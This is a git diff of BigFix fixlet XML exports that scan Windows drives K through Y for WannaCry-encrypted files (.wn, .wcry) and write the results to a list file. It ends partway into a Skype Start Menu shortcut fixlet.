+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on K Drive
+  ID       : 24340
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:51
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on K Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;K drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;k:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:41:39 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist k:\ransomware_list.txt del k:\ransomware_list.txt /q /f
+waithidden cmd /c dir k:\*.wn k:\*.wcry /a /s >k:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on L Drive (24341).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on L Drive (24341).bes
index dbb0bd841..e494ad011 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on L Drive (24341).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on L Drive (24341).bes	
@@ -1,35 +1,35 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Find Ransomware Files on L Drive
-  ID       : 24341
-  Author   : cjwolford
-  Domain   : BESC
-  Imported : 2017-05-15T19:56:52
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Find Ransomware Files on L Drive</Title>
-    <Description><![CDATA[Find files with specified extension on&nbsp;L drive. ]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists folder &quot;l:\&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 16 May 2017 02:42:01 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist l:\ransomware_list.txt del l:\ransomware_list.txt /q /f
-waithidden cmd /c dir l:\*.wn l:\*.wcry /a /s >l:\ransomware_list.txt]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on L Drive
+  ID       : 24341
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:52
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on L Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;L drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;l:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:42:01 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist l:\ransomware_list.txt del l:\ransomware_list.txt /q /f
+waithidden cmd /c dir l:\*.wn l:\*.wcry /a /s >l:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on M Drive (24342).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on M Drive (24342).bes
index 57ec1e794..a94f6f63e 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on M Drive (24342).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on M Drive (24342).bes	
@@ -1,35 +1,35 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Find Ransomware Files on M Drive
-  ID       : 24342
-  Author   : cjwolford
-  Domain   : BESC
-  Imported : 2017-05-15T19:56:53
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Find Ransomware Files on M Drive</Title>
-    <Description><![CDATA[Find files with specified extension on&nbsp;M drive. ]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists folder &quot;m:\&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 16 May 2017 02:42:21 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist m:\ransomware_list.txt del m:\ransomware_list.txt /q /f
-waithidden cmd /c dir m:\*.wn m:\*.wcry /a /s >m:\ransomware_list.txt]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on M Drive
+  ID       : 24342
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on M Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;M drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;m:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:42:21 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist m:\ransomware_list.txt del m:\ransomware_list.txt /q /f
+waithidden cmd /c dir m:\*.wn m:\*.wcry /a /s >m:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on N Drive (24343).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on N Drive (24343).bes
index cd14ee7a4..6c0f1f33c 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on N Drive (24343).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on N Drive (24343).bes	
@@ -1,35 +1,35 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Find Ransomware Files on N Drive
-  ID       : 24343
-  Author   : cjwolford
-  Domain   : BESC
-  Imported : 2017-05-15T19:56:54
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Find Ransomware Files on N Drive</Title>
-    <Description><![CDATA[Find files with specified extension on&nbsp;N drive. ]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists folder &quot;n:\&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 16 May 2017 02:42:45 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist n:\ransomware_list.txt del n:\ransomware_list.txt /q /f
-waithidden cmd /c dir n:\*.wn n:\*.wcry /a /s >n:\ransomware_list.txt]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on N Drive
+  ID       : 24343
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on N Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;N drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;n:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:42:45 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist n:\ransomware_list.txt del n:\ransomware_list.txt /q /f
+waithidden cmd /c dir n:\*.wn n:\*.wcry /a /s >n:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on O Drive (24344).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on O Drive (24344).bes
index b627a5863..2f8e132ac 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on O Drive (24344).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on O Drive (24344).bes	
@@ -1,35 +1,35 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Find Ransomware Files on O Drive
-  ID       : 24344
-  Author   : cjwolford
-  Domain   : BESC
-  Imported : 2017-05-15T19:56:55
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Find Ransomware Files on O Drive</Title>
-    <Description><![CDATA[Find files with specified extension on&nbsp;O drive. ]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists folder &quot;o:\&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 16 May 2017 02:43:05 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist o:\ransomware_list.txt del o:\ransomware_list.txt /q /f
-waithidden cmd /c dir o:\*.wn o:\*.wcry /a /s >o:\ransomware_list.txt]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on O Drive
+  ID       : 24344
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on O Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;O drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;o:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:43:05 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist o:\ransomware_list.txt del o:\ransomware_list.txt /q /f
+waithidden cmd /c dir o:\*.wn o:\*.wcry /a /s >o:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on P Drive (24345).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on P Drive (24345).bes
index 950e7f5af..e42931f17 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on P Drive (24345).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on P Drive (24345).bes	
@@ -1,35 +1,35 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Find Ransomware Files on P Drive
-  ID       : 24345
-  Author   : cjwolford
-  Domain   : BESC
-  Imported : 2017-05-15T19:56:57
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Find Ransomware Files on P Drive</Title>
-    <Description><![CDATA[Find files with specified extension on&nbsp;P drive. ]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists folder &quot;p:\&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 16 May 2017 02:43:27 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist p:\ransomware_list.txt del p:\ransomware_list.txt /q /f
-waithidden cmd /c dir p:\*.wn p:\*.wcry /a /s >p:\ransomware_list.txt]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on P Drive
+  ID       : 24345
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:57
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on P Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;P drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;p:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:43:27 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist p:\ransomware_list.txt del p:\ransomware_list.txt /q /f
+waithidden cmd /c dir p:\*.wn p:\*.wcry /a /s >p:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on X Drive (24346).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on X Drive (24346).bes
index 865b40e18..0427511d7 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on X Drive (24346).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on X Drive (24346).bes	
@@ -1,35 +1,35 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Find Ransomware Files on X Drive
-  ID       : 24346
-  Author   : cjwolford
-  Domain   : BESC
-  Imported : 2017-05-15T19:56:58
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Find Ransomware Files on X Drive</Title>
-    <Description><![CDATA[Find files with specified extension on&nbsp;X drive. ]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists folder &quot;x:\&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 16 May 2017 02:44:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist x:\ransomware_list.txt del x:\ransomware_list.txt /q /f
-waithidden cmd /c dir x:\*.wn x:\*.wcry /a /s >x:\ransomware_list.txt]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on X Drive
+  ID       : 24346
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:58
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on X Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;X drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;x:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:44:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist x:\ransomware_list.txt del x:\ransomware_list.txt /q /f
+waithidden cmd /c dir x:\*.wn x:\*.wcry /a /s >x:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on Y Drive (24347).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on Y Drive (24347).bes
index 98979ea29..50d35181d 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on Y Drive (24347).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on Y Drive (24347).bes	
@@ -1,35 +1,35 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Find Ransomware Files on Y Drive
-  ID       : 24347
-  Author   : cjwolford
-  Domain   : BESC
-  Imported : 2017-05-15T19:56:59
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Find Ransomware Files on Y Drive</Title>
-    <Description><![CDATA[Find files with specified extension on&nbsp;Y drive. ]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists folder &quot;y:\&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 16 May 2017 02:44:26 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist y:\ransomware_list.txt del y:\ransomware_list.txt /q /f
-waithidden cmd /c dir y:\*.wn y:\*.wcry /a /s >y:\ransomware_list.txt]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on Y Drive
+  ID       : 24347
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:59
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on Y Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;Y drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;y:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:44:26 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist y:\ransomware_list.txt del y:\ransomware_list.txt /q /f
+waithidden cmd /c dir y:\*.wn y:\*.wcry /a /s >y:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Fix Skype shortcut missing from Start Menu (741).bes b/Sites/Windows Management/Fixlets/Fixlets/Fix Skype shortcut missing from Start Menu (741).bes
index 65bdd2160..9b8adbfcf 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Fix Skype shortcut missing from Start Menu (741).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Fix Skype shortcut missing from Start Menu (741).bes	
@@ -1,51 +1,51 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Fix Skype shortcut missing from Start Menu
-  ID       : 741
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2012-12-06T14:47:18
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Fix Skype shortcut missing from Start Menu</Title>
-    <Description>Fix Skype shortcut missing from Start Menu </Description>
-    <Relevance>(name of it = &quot;WinVista&quot; or name of it = &quot;Win7&quot;) of operating system</Relevance>
-    <Relevance>exists key whose (value &quot;displayname&quot; of it as string contains &quot;Skype&quot; of it AND value &quot;displayname&quot; of it as string as lowercase does not contain &quot;Click to Call&quot; as lowercase) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of registry</Relevance>
-    <Relevance>(value &quot;DisplayIcon&quot; of key whose (value &quot;displayname&quot; of it as string contains &quot;Skype&quot; of it AND value &quot;displayname&quot; of it as string as lowercase does not contain &quot;Click to Call&quot; as lowercase) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of registry) as string as lowercase contains &quot;Skype.exe&quot; as lowercase</Relevance>
-    <Relevance>exists file ((value &quot;DisplayIcon&quot; of key whose (value &quot;displayname&quot; of it as string contains &quot;Skype&quot; of it AND value &quot;displayname&quot; of it as string as lowercase does not contain &quot;Click to Call&quot; as lowercase) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of registry) as string)</Relevance>
-    <Relevance>not exists file &quot;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Skype.lnk&quot; AND not exists file &quot;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Skype\Skype.lnk&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2011-08-04</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 04 Aug 2011 21:26:26 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[delete __appendfile
-delete makeshortcut.vbs
-appendfile   Set oWS = WScript.CreateObject("WScript.Shell")
-appendfile   sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Skype.lnk"
-appendfile   Set oLink = oWS.CreateShortcut(sLinkFile)
-appendfile   oLink.TargetPath = "{(value "DisplayIcon" of key whose (value "displayname" of it as string contains "Skype" of it AND value "displayname" of it as string as lowercase does not contain "Click to Call" as lowercase) of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" of registry as string)}"
-appendfile   '    oLink.Arguments = ""
-appendfile   '    oLink.Description = "Skype"
-appendfile   '    oLink.HotKey = ""
-appendfile   '    oLink.IconLocation = "{(value "DisplayIcon" of key whose (value "displayname" of it as string contains "Skype" of it AND value "displayname" of it as string as lowercase does not contain "Click to Call" as lowercase) of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" of registry as string)}, 2"
-appendfile   '    oLink.WindowStyle = "1"
-appendfile   '    oLink.WorkingDirectory = "{parent folder of file (value "DisplayIcon" of key whose (value "displayname" of it as string contains "Skype" of it AND value "displayname" of it as string as lowercase does not contain "Click to Call" as lowercase) of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" of registry as string)}"
-appendfile   oLink.Save
-move __appendfile makeshortcut.vbs
-waithidden "{pathname of system folder & "\cscript.exe"}" makeshortcut.vbs]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Fix Skype shortcut missing from Start Menu
+  ID       : 741
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2012-12-06T14:47:18
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Fix Skype shortcut missing from Start Menu</Title>
+    <Description>Fix Skype shortcut missing from Start Menu </Description>
+    <Relevance>(name of it = &quot;WinVista&quot; or name of it = &quot;Win7&quot;) of operating system</Relevance>
